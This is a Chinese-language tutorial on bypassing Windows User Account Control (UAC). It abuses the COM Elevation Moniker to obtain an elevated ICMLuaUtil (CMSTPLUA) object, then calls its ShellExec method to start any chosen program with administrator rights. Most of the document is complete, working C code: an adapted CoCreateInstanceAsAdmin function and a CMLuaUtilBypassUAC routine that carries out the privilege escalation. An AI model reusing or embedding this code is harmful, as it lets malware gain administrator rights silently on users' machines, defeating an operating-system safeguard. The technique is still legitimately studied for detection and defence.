基于COM组件接口Bypass UAC

COM提升名称（COM Elevation Moniker）技术允许运行在用户帐户控制（UAC）下的应用程序用提升权限的方法来激活COM类，以此提升COM接口权限。其中，ICMLuaUtil接口中提供了ShellExec方法来执行命令，创建指定进程。所以，本文介绍的基于ICMLuaUtil接口的Bypass UAC的实现原理是利用COM提升名称（COM Elevation Moniker）来对ICMLuaUtil接口提权，提权后通过调用ShellExec方法来创建指定进程，实现Bypass UAC操作。

使用权限提升COM类的程序必须调通过用CoCreateInstanceAsAdmin函数来创建COM类，CoCreateInstanceAsAdmin函数的代码可以在MSDN网页（ https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms679687.aspx ）上找到，下面给出的是CoCreateInstanceAsAdmin函数的改进代码，增加了初始化COM环境的代码。

那么，COM提升名称具体的实现代码如下所示。

```
HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{
    BIND_OPTS3 bo;
    WCHAR wszCLSID[MAX_PATH] = { 0 };
    WCHAR wszMonikerName[MAX_PATH] = { 0 };
    HRESULT hr = 0;

    // 初始化COM环境
    ::CoInitialize(NULL);

    // 构造字符串
    ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
    hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) /
sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
    if (FAILED(hr))
    {
        return hr;
    }

    // 设置BIND_OPTS3
    ::RtlZeroMemory(&bo, sizeof(bo));
    bo.cbStruct = sizeof(bo);
    bo.hwnd = hWnd;
    bo.dwClassContext = CLSCTX_LOCAL_SERVER;

    // 创建名称对象并获取COM对象
    hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
    return hr;
}
```

执行上述代码，即可创建并激活提升权限的COM类。ICMLuaUtil接口通过上述方法创建后，直接调用ShellExec方法创建指定进程，完成Bypass UAC的操作。

那么，基于ICMLuaUtil接口Bypass UAC的具体实现代码如下所示。

```
BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
    HRESULT hr = 0;
    CLSID clsidICMLuaUtil = { 0 };
    IID iidICMLuaUtil = { 0 };
    ICMLuaUtil *CMLuaUtil = NULL;
    BOOL bRet = FALSE;

    do {
        ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
        ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

        // 提权
```

```
        hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
        if (FAILED(hr))
        {
            break;
        }

        // 启动程序
        hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
        if (FAILED(hr))
        {
            break;
        }

        bRet = TRUE;
    }while(FALSE);

    // 释放
    if (CMLuaUtil)
    {
        CMLuaUtil->lpVtbl->Release(CMLuaUtil);
    }

    return bRet;
}
```